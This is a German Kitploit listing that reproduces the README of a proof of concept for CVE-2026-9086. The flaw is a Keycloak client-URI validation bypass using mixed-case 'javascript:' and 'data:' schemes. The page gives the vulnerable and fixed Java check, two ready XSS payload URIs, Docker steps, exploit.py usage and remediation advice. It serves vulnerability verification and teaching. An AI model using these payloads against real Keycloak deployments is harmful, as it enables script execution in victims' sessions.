Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 Proof-of-Concept für die Umgehung der Keycloak-Client-URI-Validierung mithilfe von gemischt groß-/kleingeschriebenen `javascript:`- und `data:`-XSS-Payloads, mit Docker-basierter Verifikation der anfälligen und gepatchten Versionen. | Kitploit
Tools/GitHubGitHub/saku0512/cve-2026-9086-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLernen & BildungLabs & Praxis
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 Proof-of-Concept für die Umgehung der Keycloak-Client-URI-Validierung mithilfe von gemischt groß-/kleingeschriebenen `javascript:`- und `data:`-XSS-Payloads, mit Docker-basierter Verifikation der anfälligen und gepatchten Versionen.

Repository anzeigen
113vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-9086: Keycloak URI-Schema-Validierungs-Bypass XSS PoC

Englische Version

Überblick

Dieses Repository ist ein Proof of Concept (PoC) der Cross-Site-Scripting (XSS)-Schwachstelle CVE-2026-9086 in der Client-URI-Validierung von Keycloak.

Das verwundbare Keycloak validierte die javascript:- und data:-Schemas von Client-URIs unter Beachtung der Groß-/Kleinschreibung. Durch die Verwendung gemischter Schreibweisen wie jaVaSCript: oder DaTa: lässt sich die Prüfung auf verbotene Schemas umgehen. Da Browser URI-Schemas ohne Beachtung der Groß-/Kleinschreibung interpretieren, kann bei einem Klick auf einen präparierten Link JavaScript im Keycloak-Origin ausgeführt werden.

Dieses PoC startet Keycloak 26.6.3 (verwundbare Version) und 26.6.4 (korrigierte Version) mit Docker und registriert dieselbe URI in gemischter Schreibweise über die Admin-REST-API. In der verwundbaren Version gelingt die Registrierung, in der korrigierten Version wird sie mit HTTP 400 abgelehnt.

Dieses PoC öffnet die registrierte URI nicht im Browser und führt kein JavaScript aus.


Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Verwenden Sie es nicht für unbefugte Tests gegen Keycloak-Umgebungen Dritter. Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtswidrige Handlungen im Zusammenhang mit diesem Tool.


Details zur Schwachstelle

  • CVE-ID: CVE-2026-9086
  • Produkt: Keycloak / Red Hat build of Keycloak
  • Typ: Cross-Site-Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Erforderliche Berechtigung: manage-client-Berechtigung oder Zugriff auf den Client-Registrierungs-Endpunkt
  • Benutzerinteraktion: Klick auf einen präparierten Link erforderlich
  • Im PoC getestete Version: Keycloak 26.6.3
  • Im PoC korrigierte Version: Keycloak 26.6.4
  • Betroffener Bereich (NVD CPE): Red Hat build of Keycloak 26.4 bis vor 26.4.13, 26.6 bis vor 26.6.4

Grundursache

Der unkorrigierte DefaultClientValidationProvider verglich die verbotenen Schemas mit String.equals().

if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

Da java.net.URI#getScheme() die Groß-/Kleinschreibung der Eingabe beibehält, stimmen die folgenden URIs nicht mit dem Vergleich überein und passieren die Validierung.

jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

In der korrigierten Version wird equalsIgnoreCase() verwendet.

if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Proof of Concept (Verwendung)

1. Umgebung starten

Starten Sie die verwundbare und die korrigierte Version mit Docker Compose.

docker compose up -d

Zu startende Instanzen:

URLVersionErwartetes Ergebnis
http://localhost:8180Keycloak 26.6.3URI-Registrierung erfolgreich (verwundbar)
http://localhost:8181Keycloak 26.6.4HTTP 400 (behoben)

Der erste Start dauert etwas. Mit dem folgenden Befehl können Sie den Status prüfen.

docker compose logs -f

Sobald in beiden Logs Listening on erscheint, beenden Sie die Log-Anzeige mit Ctrl+C.

2. Verwundbare Version testen

python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Erwartete Ausgabe:

[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

Das Skript ruft den erstellten Client erneut über die Admin-API ab und prüft, ob die präparierte URI gespeichert wurde.

3. Korrigierte Version testen

python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Erwartete Ausgabe:

[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Überprüfung des data:-Schemas

Mit --scheme data kann die URI in gemischter Schreibweise DaTa: überprüft werden.

python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Aufräumen

docker compose down -v

Funktionsweise des PoC

exploit.py führt ausschließlich die folgenden Schritte aus:

  1. Administrator-Zugriffstoken mit admin-cli abrufen
  2. Eine zufällige Client-ID generieren
  3. Die URI in gemischter Schreibweise jaVaSCript: oder DaTa: als redirectUris festlegen
  4. Eine Client-Erstellungsanfrage an /admin/realms/master/clients senden
  5. In der verwundbaren Version den gespeicherten Client erneut abrufen und die URI prüfen
  6. In der korrigierten Version HTTP 400 und den Fehler zum verbotenen Schema prüfen

Es startet keinen Browser, navigiert nicht zur registrierten URI und führt kein JavaScript aus.

Gegenmaßnahmen

Führen Sie für Keycloak 26.6 ein Update auf 26.6.4 oder neuer durch, für Red Hat build of Keycloak 26.4 auf 26.4.13 oder neuer.

Prüfen Sie außerdem die URI-Konfigurationen vorhandener Clients und entfernen Sie alle Werte, die javascript: oder data: unabhängig von der Groß-/Kleinschreibung verwenden. Beschränken Sie die manage-client-Berechtigung und den Zugriff auf den Client-Registrierungs-Endpunkt auf das notwendige Minimum.

Referenzen

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
Tool herunterladen